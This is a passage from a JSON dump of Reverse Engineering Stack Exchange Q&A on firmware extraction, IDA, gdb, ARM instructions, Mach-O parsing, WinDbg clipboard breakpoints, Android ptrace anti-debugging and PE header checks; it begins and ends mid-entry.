Newhost\"\n5108812       0x4DF44C        Unix path: /home/stb/PERFORCE/THEALE/utopia_release/UTPA-24.0.x_Kriti/project/kriti_ecos/../../mxlib/hal/kriti/ve/mhal_tvencoder.c\n5108885       0x4DF495        eCos RTOS string reference: \"ecos/../../mxlib/hal/kriti/ve/mhal_tvencoder.c\"\n5109464       0x4DF6D8        Unix path: /home/franke.wu/workspace/THEALE/utopia_release/UTPA-24.0.x_Kriti/project/kriti_ecos/../../mxlib/msos/ecos/MsOS_ecos.c\n5109544       0x4DF728        eCos RTOS string reference: \"ecos/../../mxlib/msos/ecos/MsOS_ecos.c\"\n5109566       0x4DF73E        eCos RTOS string reference: \"ecos/MsOS_ecos.c\"\n5109576       0x4DF748        eCos RTOS string reference: \"ecos.c\"\n5110012       0x4DF8FC        Unix path: /home/franke.wu/workspace/THEALE/utopia_release/UTPA-24.0.x_Kriti/project/kriti_ecos/../../mxlib/drv/miu/drvMIU.c\n5110092       0x4DF94C        eCos RTOS string reference: \"ecos/../../mxlib/drv/miu/drvMIU.c\"\n5110300       0x4DFA1C        eCos RTOS string reference: \"ecos/../../mxlib/drv/sys/drvDMD_VD_MBX.c\"\n5304106       0x50EF2A        Unix path: /../src/si_v2/apiSI.c\n5307730       0x50FD52        Unix path: /../src/dvb_subtitle/apiSubtitle_DC2_Decoder.c\n5308386       0x50FFE2        Unix path: /../src/dvb_subtitle/apiSubtitle_Decoder.c\n5403172       0x527224        CRC32 polynomial table, little endian\n5407268       0x528224        CRC32 polynomial table, big endian\n5428390       0x52D4A6        Unix path: /../src/mm/mapp_music.c\n5431970       0x52E2A2        Unix path: /../src/espvr/apiEsPVR.cpp\n5433930       0x52EA4A        Unix path: /../src/espvr/core/src/api/mapi_pvr_browser.cpp\n5434774       0x52ED96        Unix path: /../src/espvr/core/src/api/mapi_pvr.cpp\n5438298       0x52FB5A        Unix path: /../src/espvr/core/src/utility/PVR_File_Operand.cpp\n5438798       0x52FD4E        Unix path: /../src/espvr/core/src/context/PVR_File_Root.cpp\n5439894       0x530196        Unix path: /../src/espvr/core/src/context/PVR_Metadata.cpp\n5441758       0x5308DE        Unix path: /../src/espvr/core/src/path/PVR_Path_Download.cpp\n5443490       0x530FA2        Unix path: /../src/espvr/core/src/path/PVR_Path_DualDownload.cpp\n5445230       0x53166E        Unix path: /../src/espvr/core/src/path/PVR_Path_ESPlayer.cpp\n5445914       0x53191A        Unix path: /../src/espvr/core/src/path/PVR_Path_Manager.cpp\n5447010       0x531D62        Unix path: /../src/espvr/core/src/path/PVR_Path_TSPlayer.cpp\n5448770       0x532442        Unix path: /../src/espvr/core/src/context/PVR_Splitted_File.cpp\n5449582       0x53276E        Unix path: /../src/espvr/core/src/context/PVR_Sys.cpp\n5450354       0x532A72        Unix path: /../src/espvr/core/src/path/PVR_Thread.cpp\n5452094       0x53313E        Unix path: /../src/espvr/core/src/path/PVR_Upload_State_Scan.cpp\n5452634       0x53335A        Unix path: /../src/espvr/core/src/context/PVR_VideoParser.cpp\n5453802       0x5337EA        Unix path: /../src/espvr/core/src/data_manager/PVR_Data_RingBuffer.cpp\n5454258       0x5339B2        Unix path: /../src/espvr/core/src/context/PVR_File_IO_Read.cpp\n5456690       0x534332        Unix path: /../src/espvr/core/src/context/PVR_File_IO_Write.cpp\n5457670       0x534706        Unix path: /../src/espvr/core/src/path/PVR_Upload_State_188Normal.cpp\n5458488       0x534A38        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/infra/v2_0_60/src/pure.cxx\n5458489       0x534A39        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/infra/v2_0_60/src/pure.cxx\"\n5458519       0x534A57        eCos RTOS string reference: \"eCospro/packages/infra/v2_0_60/src/pure.cxx\"\n5458613       0x534AB5        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/services/memalloc/common/v2_0_60/src/kapi.cxx\"\n5458643       0x534AD3        eCos RTOS string reference: \"eCospro/packages/services/memalloc/common/v2_0_60/src/kapi.cxx\"\n5460693       0x5352D5        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/memalloc/\"\n5460723       0x5352F3        eCos RTOS string reference: \"eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/memalloc/mfiximpl.inl\"\n5460741       0x535305        eCos RTOS string reference: \"eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/memalloc/mfiximpl.inl\"\n5461473       0x5355E1        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/memalloc/\"\n5461503       0x5355FF        eCos RTOS string reference: \"eCospro/Kappa/LIB_eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/memalloc/mvarimpl.inl\"\n5461521       0x535611        eCos RTOS string reference: \"eCos_fileio_posix_fat_ntfs_jffs2_v3_c++_kappa_34kf_install/include/cyg/memalloc/mvarimpl.inl\"\n5462269       0x5358FD        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/stdio/v2_0_60/src/common/setvbuf.cxx\"\n5462299       0x53591B        eCos RTOS string reference: \"eCospro/packages/language/c/libc/stdio/v2_0_60/src/common/setvbuf.cxx\"\n5522696       0x544508        Unix path: /ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/i18n/v2_0_60/src/locale.cxx\n5522697       0x544509        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/i18n/v2_0_60/src/locale.cxx\"\n5522727       0x544527        eCos RTOS string reference: \"eCospro/packages/language/c/libc/i18n/v2_0_60/src/locale.cxx\"\n5523265       0x544741        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/stdio/v2_0_60/src/input/fgetc.cxx\"\n5523295       0x54475F        eCos RTOS string reference: \"eCospro/packages/language/c/libc/stdio/v2_0_60/src/input/fgetc.cxx\"\n5524333       0x544B6D        eCos RTOS string reference: \"ecos-y/PERFORCE/THEALE/Uranus/eCospro/packages/language/c/libc/time/v2_0_60/src/strftime.cxx\"\n5524363       0x544B8B        eCos RTOS string reference: \"eCospro/packages/language/c/libc/time/v2_0_60/src/strftime.cxx\"\n6055568       0x5C6690        LZMA compressed data, properties: 0x5A, dictionary size: 4194304 bytes, uncompressed size: 16384 bytes\n7114983       0x6C90E7        Boot section Start 0x7040000 End 0x-FFF9\n7564060       0x736B1C        YAFFS filesystem\n</code></pre>\n\n<p>I did tried unyaffs and unyaffs2 to extract but without any success, alsot tried  to extract those .7z files but they does not containt nothing. <a href=\"https://drive.google.com/file/d/0B95UR9turb7DWEZ1UjMyRVBXMzg/view?usp=sharing\" rel=\"nofollow\">Firmware</a></p>\n",
        "Title": "Extract YAFFS filesystem from binary",
        "Tags": "|linux|firmware|",
        "Answer": "<p>You cannot extract files with unyaffs tools, because the firmware does not contain yaffs. The first compressed image is the bootloader, which displays the splash screen image. It seems that the image start address was found by binwalk correctly.</p>\n\n<p>The second compressed image is an ecos image started at address <code>0x80000180</code>. You can analyse it with IDA or your favorite disassemble, which support MIPS in little endian.</p>\n"
    },
    {
        "Id": "12876",
        "CreationDate": "2016-06-18T05:40:26.670",
        "Body": "<p>I'm looking to buy an IDA Pro license for my own home use. However, I use all three supported platforms: Windows and Linux on desktop, and OS X on a laptop. I can't afford more than one license, so I'm interested to see if other people have been in a similar situation and how they solved it. </p>\n\n<p>My initial thoughts on each version:</p>\n\n<ul>\n<li>Mac OS X: I use my laptop most often, but reversing on a 13\" screen isn't always fun, I would not be able to use the Mac version on either Windows or Linux.</li>\n<li>Windows: I've heard good things about running the Windows version in Wine on Mac and Linux, or even in a VM.</li>\n<li>Linux: I almost always have a Linux VM even when I'm on Mac or Windows, so I could always install IDA in a VM.</li>\n</ul>\n\n<p>I'm leaning towards the Windows or Linux versions to be able to use anywhere, but I've never used IDA in a non-native environment, so I'm somewhat concerned about keyboard shortcuts and integration.</p>\n\n<p>Any suggestions on a good way to go?</p>\n",
        "Title": "Using IDA cross platform: VM, Wine, other options?",
        "Tags": "|ida|",
        "Answer": "<p>I've been using a Windows version of IDA Pro for years on OSX through VMware Fusion. Not daily, though - yet no problems whatsoever. </p>\n\n<p>Using a VM is even better because you can take snapshots of your VM before e.g. starting working with malware and revert them when you're done. </p>\n\n<p>Re screen estate - nothing to worry about, VMware VMs can run full screen, using every pixel available</p>\n\n<p>Remember that an OSX version of IDA Pro will likely have different (and more :)) bugs which remain unfixed for longer (at least this is my impression) than in a Windows version. Plus a bunch of plugins are Windows-only or at least barely tested on OSX, if compilable at all. Same situation, if not worse, with Linux in place of OSX.</p>\n"
    },
    {
        "Id": "12877",
        "CreationDate": "2016-06-18T05:41:00.827",
        "Body": "<p>I got an x86 binary for linux and I use gdb to disassemble the main function. I see this:</p>\n\n<pre><code>   0x08048080 &lt;+0&gt;:     push   0x8049128\n   0x08048085 &lt;+5&gt;:     call   0x804810f\n   0x0804808a &lt;+10&gt;:    call   0x804809f\n   0x0804808f &lt;+15&gt;:    cmp    eax,0x10f\n   0x08048094 &lt;+20&gt;:    je     0x80480dc\n   0x0804809a &lt;+26&gt;:    call   0x8048103\n</code></pre>\n\n<p>I could not understand it since the regular main that I disassemble normally looks like the one below with some preambles.</p>\n\n<pre><code>   0x0804841d &lt;+0&gt;:     push   %ebp\n   0x0804841e &lt;+1&gt;:     mov    %esp,%ebp\n   0x08048420 &lt;+3&gt;:     and    $0xfffffff0,%esp\n   0x08048423 &lt;+6&gt;:     sub    $0x10,%esp\n   0x08048426 &lt;+9&gt;:     movl   $0x80484d0,(%esp)\n   0x0804842d &lt;+16&gt;:    call   0x80482f0 &lt;puts@plt&gt;\n   0x08048432 &lt;+21&gt;:    leave  \n   0x08048433 &lt;+22&gt;:    ret    \n</code></pre>\n\n<p>Questions:\nCan someone explain the first disassembly?</p>\n",
        "Title": "Simple main program",
        "Tags": "|disassembly|x86|",
        "Answer": "<p>This looks like a normal main function. Its just that your addresses have not been resolved properly in the first disassembly, while they have been in the second one. You can do </p>\n\n<p><code>info symbol 0x804810f</code> </p>\n\n<p>in  gdb and it would output something like</p>\n\n<p><code>puts in section .lib</code></p>\n\n<p>This way you can resolve all the functions being called. Alternatively you can use the <code>nm</code> utility.</p>\n\n<p>The second disassembly has prolog and epilog for stack management and function returns because it has been auto generated by the compiler. However in the first disassembly, it looks like the program author assembled the file with nasm and author used minimal code to do so.</p>\n"
    },
    {
        "Id": "12892",
        "CreationDate": "2016-06-19T22:55:06.843",
        "Body": "<p>I have a powerpc computer that takes ELF files for its code. I have made a tool that allows me to extract and inject segments successfully, but I am missing a small piece of information regarding the modifications I would like to make. How can I call the original code, and how can I store the variables that need to be global?</p>\n\n<p>I can change where the exported functions point, which is all I need to enable the changes that I want. I am not completely sure how I should implement the stub for the functions in ASM to call some C code without messing with the stack or registers unless I explicitly want that to happen. My thought is to make a few small functions that branch out to a second stub that would handle all the state management to prepare for the C code. I was thinking I can use this \"dual stage stub\" in order to have the first part of the originalText+function*4 and do some easy math for that, and only need to change the exported functions whenever I add/remove a hooked function.</p>\n\n<p>Edit:\nI figured I should add some clarification to this. I mainly want to have the program connect to a remote device and log some stuff. So I require an active socket connection to be maintained using method calls. I am also using a proprietary OS that has a slightly modified ELF format, but the only extra is the zLib compression.</p>\n\n<p>Edit 2:\nOk, I understand the calling better. I was overcomplicating this some, just need the one branch. I also found an address to stick a malloc'd pointer for my data. Now all I need to figure out is how to get GCC to do a relitave jump when calling an address with a PIE. Since I am tacking my code on the end I know I am X away, but I do not know the real address because my exacutable can move in memory.</p>\n",
        "Title": "Append Code To Text Segment With Global Variables?",
        "Tags": "|elf|powerpc|",
        "Answer": "<p>Ok, after more research I came up with an answer to this problem.</p>\n\n<p>You only need the one branch handler, since I could branch into the C code just fine because they share the same calling method.</p>\n\n<p>I ran out of space in the text segment before memory was getting mapped over my code, so I had to do some more invasive things via a different method.</p>\n\n<p>Now to make GCC play nice with the relative function calls I told it my code was located at 0x00000000+sizeof(.text) so it would use relative branches to the elf and absolute to the system stuff that does not move.</p>\n"
    },
    {
        "Id": "12902",
        "CreationDate": "2016-06-21T10:38:28.033",
        "Body": "<p>I'm trying to understand how Mach-O files work, i already succeed with parsing of load commands, sections, symbols table etc.. anyway i'm trying to figure out a way to find class methods pointer to the __text section in order to disassemble them, i noticed that sometimes in the symbol table the \"value\" field has the same offset of the function in the __text section, there's a generic rule to parse ObjC classes and methods and take pointers to these methods?</p>\n\n<p>Thanks much.</p>\n",
        "Title": "Mach-O functions pointer",
        "Tags": "|arm|functions|ios|mach-o|",
        "Answer": "<p>As you may realize, Objective-C methods don't appear in the symbol table (<code>LC_SYMTAB</code>). However, you're right that information about all Objective-C classes and their methods are embedded in the object since the Objective-C runtime has to parse it and register it.</p>\n\n<p>You can find a section called <code>__DATA,__objc_classlist</code> that contains a list of pointers to <code>struct objc_class</code> (defined <a href=\"http://opensource.apple.com/source/objc4/objc4-680/runtime/objc-runtime-new.h\" rel=\"nofollow\">here</a>), which contains a pointer to a <code>struct class_ro_t</code> in its <code>bits</code> member, which contains a member <code>baseMethodList</code>, which contains a pointer to a <code>struct method_list_t</code>, which contains a number of <code>struct method_t</code> elements which each contain an <code>imp</code> member which is the pointer to the IMP function. Those would be all the instance methods of the class. You can also follow the <code>isa</code> field of the class to reach the metaclass of the class. The instance methods of the metaclass are the class methods of the class.</p>\n\n<p>One detail is that these pointers that are in the structures stored in the file on disk would not be the final pointers in memory. The dynamic linker dyld will go through the binary and link and rebase everything before the Objective-C runtime starts and parses the information I just described. For the data section, the linker typically will only do rebasing unless an external Objective-C class is used. It may be possible for you to get away with not doing the rebasing (in which case the pointers will just be the same as the case the binary has a slide of 0) if you're only interested in getting the pointers to Objective-C class method IMPs.</p>\n"
    },
    {
        "Id": "12915",
        "CreationDate": "2016-06-23T03:43:26.777",
        "Body": "<p>My goal is to see what's going on \"under the hood\" in the Windows command prompt when a user pastes text into it. So I loaded <code>cmd.exe</code> into IDA Pro that is set up in conjunction with the WinDbg debugger.</p>\n\n<p>My initial guess was to put a breakpoint on <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/ms649048(v=vs.85).aspx\" rel=\"nofollow noreferrer\">OpenClipboard</a> API which must be used to access clipboard, but it seems like cmd.exe doesn't even have a dependency on <code>User32.dll</code> (where OpenClipboard comes from):</p>\n\n<p><a href=\"https://i.stack.imgur.com/hPeWB.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/hPeWB.png\" alt=\"enter image description here\"></a></p>\n\n<p>So am I reading it correctly?</p>\n\n<p>PS. I'm doing this on Windows 10.</p>\n\n<p><strong>EDIT:</strong> You know, there's something other than deferred loading. I let the <code>cmd.exe</code> initialize and begin running, after which I suspended it. The loaded modules list still didn't have <code>user32.dll</code>:</p>\n\n<p><a href=\"https://i.stack.imgur.com/fbkl5.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/fbkl5.png\" alt=\"enter image description here\"></a></p>\n\n<p>and my deferred breakpoint didn't trigger upon clipboard operation either:</p>\n\n<p><a href=\"https://i.stack.imgur.com/d609W.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/d609W.png\" alt=\"enter image description here\"></a></p>\n\n<p>Could there be some other process that does all the \"command line\" logic?</p>\n\n<p><strong>EDIT 2:</strong> Just tried to attach to a running <code>conhost.exe</code>:</p>\n\n<p><a href=\"https://i.stack.imgur.com/3UEJS.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/3UEJS.png\" alt=\"enter image description here\"></a></p>\n\n<p>while IDA Pro was running as administrator and got this error:</p>\n\n<p><a href=\"https://i.stack.imgur.com/Hwolt.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Hwolt.png\" alt=\"enter image description here\"></a></p>\n\n<p><strong>EDIT 3:</strong> Just tried to attach to <code>conhost.exe</code> via just WinDbg itself and got this error. I'm not sure how <code>NTSTATUS 0xC00000BB</code> applies here:</p>\n\n<p><a href=\"https://i.stack.imgur.com/TEIKb.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/TEIKb.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "How to break on a clipboard operation in cmd.exe with IDA / WinDbg?",
        "Tags": "|ida|windows|debugging|windbg|",
        "Answer": "<p>well if you cant attach with windbg then you have some other problem<br>\n<code>uac / clamped down / policy / whatever //</code> conhost.exe is attachable<br>\n(check if you are attaching to the correct conhost.exe there may be several some of them spawned by <code>system user</code>  </p>\n\n<p>screenshot showing windbg being attached to conhost and broke on OpenClipBoard with Hwnd (HANDLE of consoleWindowClass)</p>\n\n<p><a href=\"https://i.stack.imgur.com/cFTG6.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/cFTG6.png\" alt=\"enter image description here\"></a></p>\n\n<p>on the paste operation </p>\n\n<pre><code>0:001&gt; kb2\n # ChildEBP RetAddr  Args to Child              \n00 020afc28 00adf554 020afd34 00000111 00000000 conhost!DoPaste+0x3d\n01 020afcb8 773ec4e7 00080260 00000111 0000fff1 conhost!ConsoleWindowProc+0x847\n0:001&gt; ub eip l1\nconhost!DoPaste+0x37:\n00ae2d05 ff155411ad00    call    dword ptr [conhost!_imp__GetClipboardData (00ad1154)]\n0:001&gt; ? @$retreg\nEvaluate expression: 10616892 = 00a2003c\n0:001&gt; du poi(@$retreg)\n00172fa0  \"2580 windbg.exe        Pid 3424 \"\n00172fe0  \"- WinDbg:10.0.10586.567 X86\"\n0:001&gt; g\n</code></pre>\n\n<p>as to comment yes maybe i dont know<br>\na cursory glance over google says conhost is now a child of cmd in windows 10<br>\nthe conhost enhancements technical preview article by some ms devs don't mention anything about conhost being <code>protected super proteccted or ultra protected process</code><br>\nand i dont have a win10 handy so i can answer your comment only when i spleunk under winX till then happy hunting</p>\n\n<p>well it appears i can attach in winX too<br>\n(winx is running in vmware player  (test mode ) ) \nwindbg screen shotted is runnning inside target os </p>\n\n<p><a href=\"https://i.stack.imgur.com/8fmTn.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/8fmTn.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "12927",
        "CreationDate": "2016-06-24T10:20:37.263",
        "Body": "<p>I am trying to reverse a simple code that gets a string and calculates it's checksum. I've been trying to understand every instruction, but they look different from what is said in arm documentation. \nHere's the full code(Using no$gba debugger)\n<a href=\"https://i.stack.imgur.com/bWnxq.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/bWnxq.png\" alt=\"Pink signals the checksum code\"></a></p>\n\n<p>I've reached the code knowing that once the checksum has been calculated it is stored in the r0 register. <a href=\"http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0068b/BABGIEBE.html\" rel=\"nofollow noreferrer\">Docs</a> specify that EOR receives 2 args, while here is taking 4.\n<strong><em>eor  r3,r3,r0,asr 8h</em></strong> I've figured out that this will be something like  <strong><em>r3 = (r3^r0)>>8</em></strong>  but I'm not really sure. In addition, C/C++ doesn't specify if the >> operator performs arithmetical or logical shifts (asr)</p>\n\n<p>Same confusion is created with the mov's instructions. The sub inst. would be reversed in something like <strong><em>r2--; or r2=r2-1;</em></strong></p>\n\n<p>Thanks for your time.</p>\n\n<p>EDIT: The checksum is 2 bytes long, and I am giving some examples:</p>\n\n<p>String: AAAAAAB  -- Checksum: 0xB649 (While debugging, write in little endian)</p>\n\n<p>String: AAAAAAA  -- Checksum: 0x68BC \n(NOTE: Checksum can't be worked out by performing operations with different checksum samples)</p>\n",
        "Title": "[ARM]How does this checksum code works and how to revert it in C?",
        "Tags": "|assembly|debuggers|arm|",
        "Answer": "<p>A disassembler and decompiler like <em>Ghidra</em> can be used to obtain a C equivalent code.</p>\n<p>Also, as specified by @RadLexus, the ARM documentation can be found here: <a href=\"http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0068b/BABGIEBE.html\" rel=\"nofollow noreferrer\">http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0068b/BABGIEBE.html</a></p>\n"
    },
    {
        "Id": "12944",
        "CreationDate": "2016-06-28T01:19:26.350",
        "Body": "<p>I am trying to <code>ptrace_attach</code> the main process and its threads (<code>/proc/&lt;pid&gt;/task</code>) of an android unity app to avoid malicious users debugging the app(which is a game). </p>\n\n<p>I developed a ndk library that forks from main process and <code>ptrace_attach</code> the parent process(being the main process) inside the <code>JNI_OnLoad()</code> function. After that periodically checks the <code>/proc/&lt;pid&gt;/task</code> folder to attach newly created threads. </p>\n\n<p>The problem is, \nthis works well in normal apps but when I try to run this inside an app made with unity, the main process stops and screen becomes black or white not responding. But if you delay attaching a few seconds just enough to see the animation working on the screen, attaching works fine.</p>\n\n<p>Code is roughly something like this:</p>\n\n<pre><code>if(!fork())\n{\n     parentPid = getppid();\n\n     // attach parent process\n     if(ptrace(PTRACE_ATTACH,parentPid,0,0)&lt;0)\n          exit(-1);\n     ptrace(PTRACE_SETOPTIONS, parentPid, 0, PTRACE_O_TRACEEXEC| PTRACE_O_TRACEVFORKDONE|PTRACE_O_TRACESYSGOOD |PTRACE_O_TRACEFORK |PTRACE_O_TRACEVFORK |PTRACE_O_TRACECLONE );\n\n     while(true)\n     {\n          // get signal from processes\n          stoppedPid = waitpid(-1,&amp;stat_loc, 0);\n\n          ...\n\n          // check if stoppedPid need to be attached\n          // if so, attach\n          ptrace(PTRACE_ATTACH,stoppedPid,0,0);\n\n          ...\n\n          // else, just continue the stopped process\n          ptrace(PTRACE_CONT,stoppedPid,0,0);\n     }\n }\n</code></pre>\n\n<p>Maybe I should adjust the <code>ptrace_setoptions</code> ?</p>\n\n<p>Thanks in advance :)</p>\n",
        "Title": "Has anyone tried ptrace_attaching android unity apps for anti debugging?",
        "Tags": "|android|anti-debugging|",
        "Answer": "<p>Well somethings I found out - </p>\n\n<p>When I <code>ptrace_attach</code> the main process of the target app and wait for signals, \nI get SIGSEGV signal while app loads and just hangs there(because forked process cannot handle SIGSEGV). In the java code, it seems SIGSEGV occurs while calling View related functions. </p>\n\n<p>I guess UnityPlayer or Android app loader handles SIGSEGV smoothly while app loading time. Therefore, if you get a SIGSEGV, simply detaching it and attaching again does not hang the app. </p>\n"
    },
    {
        "Id": "12947",
        "CreationDate": "2016-06-28T11:55:25.367",
        "Body": "<p>I've been reversing an asm checksum code for the last days, and I've managed to understand how it completly works, except for one instruction; <strong>ldrh</strong></p>\n\n<p>The info I've been able to found says that it's basically a ldr instruction which loads a half word (2 bytes). But the problem is that the ldr() instruction has a lot of variants and there's no info about how this one would be wrote in pseudo C.</p>\n\n<p>Specifically my instruction is:<br>\n<strong>ldrh  r3,[r12,r3]</strong><br>\nIf it were a normal ldr, the pseudo code will be<br>\n<strong>r3 = r12[r3];</strong><br>\n(r12 is an addres to a memory place so I don't understand what it really does..Does it loads the value at r12+r3 into r3?</p>\n",
        "Title": "Arm Assembly: LDRH instruction to C",
        "Tags": "|assembly|decompilation|c|arm|",
        "Answer": "<p>As specified by @w s , the C representation of the assembly instruction <strong>ldrh r3,[r12,r3]</strong> would be:</p>\n\n<pre><code>r3 = ((unsigned short*)r12)[r3]\n</code></pre>\n\n<p>For more documentation, visit:</p>\n\n<p><a href=\"http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0489c/CIHDGFEG.html\" rel=\"nofollow noreferrer\">http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0489c/CIHDGFEG.html</a></p>\n"
    },
    {
        "Id": "12955",
        "CreationDate": "2016-06-29T14:38:25.353",
        "Body": "<p>I can't figure out the meaning of <code>^</code> in the CPU window of the immunity debugger. What does it mean?</p>\n\n<p><a href=\"https://i.stack.imgur.com/HSeDC.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/HSeDC.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "What is the meaning of \"^\" in the CPU window of the Immunity debugger?",
        "Tags": "|disassembly|immunity-debugger|",
        "Answer": "<p>Looks like it shows the direction of the jump (backwards in this case).</p>\n"
    },
    {
        "Id": "12968",
        "CreationDate": "2016-07-01T08:01:16.427",
        "Body": "<p>This is probably a stupid question.</p>\n\n<p>Imagine our dissassembled function takes 1 parameter, for example \"unsigned short *\"</p>\n\n<p>However, in c++ this could be a BSTR, or something else...what is the best way to figure out the type of input that is expected? </p>\n\n<p>Right now I am just making educated guesses..but there must be a better way? (Or if someone can point me to good books/resources covering this)</p>\n",
        "Title": "IDA - Best way to find out type of function parameters?",
        "Tags": "|ida|",
        "Answer": "<p>To figure out the type of a function parameter, you could reverse engineer the caller to see where the input parameter is coming from and how it's instantiated (potentially needing to go up a few levels in the call stack), and/or you could reverse engineer the callee to see how it handles the parameter.</p>\n"
    },
    {
        "Id": "12976",
        "CreationDate": "2016-07-02T13:23:24.517",
        "Body": "<p>What's purpose of functions <strong>ROL</strong> and <strong>ROR</strong>?\nFor both of them, first arg is <strong>int</strong>, and second is <strong>byte</strong> </p>\n\n<p>I suppose that's bitwise shifts</p>\n\n<p><img src=\"https://i.stack.imgur.com/9CYls.png\" alt=\"two muppet[![rol and ror\">]<a href=\"https://i.stack.imgur.com/9CYls.png\" rel=\"nofollow noreferrer\">1</a>s]<a href=\"https://i.stack.imgur.com/UEIBb.jpg\" rel=\"nofollow noreferrer\" title=\"rol\">2</a></p>\n",
        "Title": "Hex Rays - strange functions __ROL4__ and __ROR4__",
        "Tags": "|ida|decompilation|c|",
        "Answer": "<p>Check out IDA directory\\plugins\\defs.h.</p>\n\n\n\n<pre><code>...\n// Macros to represent some assembly instructions\n// Feel free to modify them\n\n#define __ROL__(x, y) __rotl__(x, y)       // Rotate left\n#define __ROR__(x, y) __rotr__(x, y)       // Rotate right\n...\n</code></pre>\n\n<p>The <a href=\"https://software.intel.com/sites/landingpage/IntrinsicsGuide/#expand=111,4411,4411&amp;text=_rotl\" rel=\"nofollow noreferrer\"><code>__rotl__</code></a> and <a href=\"https://software.intel.com/sites/landingpage/IntrinsicsGuide/#expand=111,4411,4411,4412&amp;text=_rotr\" rel=\"nofollow noreferrer\"><code>__rotr__</code></a> are just for the <code>rol</code> and <code>ror</code> instructions</p>\n"
    },
    {
        "Id": "12982",
        "CreationDate": "2016-07-04T09:46:44.930",
        "Body": "<p>I want to search the sequence of API call using IDA Pro. How to search the API call node execution and what is the next API call node execution followed using IDA Pro. </p>\n",
        "Title": "How to search sequence of API call using IDA Pro?",
        "Tags": "|ida|disassembly|malware|static-analysis|",
        "Answer": "<p>I would take a look at <a href=\"https://github.com/deresz/funcap\" rel=\"nofollow\">https://github.com/deresz/funcap</a>. It might not have all the sequencing information you're looking for but I used it as a basis to do something similar a while ago. </p>\n\n<p>If you don't want to do it dynamically with IDA's debugger, you can similarly use an IDA Python script to parse the callgraph of a binary. I think Grey Hat Python has a section on IDA Python if you don't want to/can't find open source resources (though I believe there are other plugins that do something like this).</p>\n"
    },
    {
        "Id": "12993",
        "CreationDate": "2016-07-05T14:40:20.957",
        "Body": "<p>I know that the specifications of the Microsoft PE/DLL/DOS-MZ files states that the two first bytes of a PE/DLL/DOS-MZ file is <code>MZ</code> (0x4d,0x5a<code>) or</code>ZM<code>(</code>0x5a,0x4d`).</p>\n\n<p>The problem with such a small signature is that a lot of other files may match the same specification and a test based only on this two first bytes quickly tends to be inconclusive.</p>\n\n<p>So, my question is simple, after testing that the two first bytes are <code>MZ</code> (or <code>ZM</code>), what other, more reliable, test can be performed to check that the file is a PE/DLL/DOS-MZ?</p>\n",
        "Title": "How to quickly distinguish PE/DLL/DOS-MZ files based on magic numbers?",
        "Tags": "|pe|dll|file-format|dos-exe|",
        "Answer": "<p>An old DOS EXE header is only 28 (<code>0x1C</code>) bytes long and is usually followed by the DOS relocation table if present.  The <code>IMAGE_DOS_HEADER</code> <code>struct</code> of the NT PE header is much larger at 64 (0x40) bytes as it has been extended for the various other Windows executable formats.</p>\n\n<p>Trying to interpret <code>e_lfanew</code> at offset 60 (<code>0x3C</code>) for a plain DOS executable as suggested by the recommended answer is incorrect as this pulls in whatever data happens to be at that offset, usually from the DOS relocation table but it can vary between valid DOS executables.  Using a handful of old DOS executables, the value at this position might not be zero, thus any logic that tries to use this as a distinguishing marker may crash or work incorrectly.</p>\n\n<p>When trying to distinguish a plain DOS EXE, you can't reliably look at any members past <code>e_ovno</code> (overlay number) of the <code>IMAGE_DOS_HEADER</code> <code>struct</code> because they are Windows and OS/2 extensions to the DOS EXE header and do not exist in plain DOS executables.</p>\n\n<p>As far as distinguishing between a DOS executable and a PE executable, I have used the following logic with success:</p>\n\n<ol>\n<li><p>If the beginning of the file does not begin with \"MZ\" or \"ZM\", it is not an DOS or Windows executable image.  Otherwise you may have one of the following types of executable formats: plain DOS, NE (Windows 16-bit), LE (16-bit VXD), PE32, or PE32+ (PE64).</p></li>\n<li><p>Determine if you have a plain DOS executable by looking at the <code>e_lfanew</code> value.  A plain DOS executable will have an out-of-range <code>e_lfanew</code> pointing outside of the limits of the file, a zero, or if the offset happens to be in range, the signature at its offset won't match any signatures below.</p></li>\n<li><p>Try to match the signature of the \"in-range\" offset pointed to by <code>e_lfanew</code> with the following WORD or DWORD values:</p>\n\n<pre><code>\"PE\" followed by two zero bytes if the image is a PE32 or PE32+ (PE64) and is further determined by the 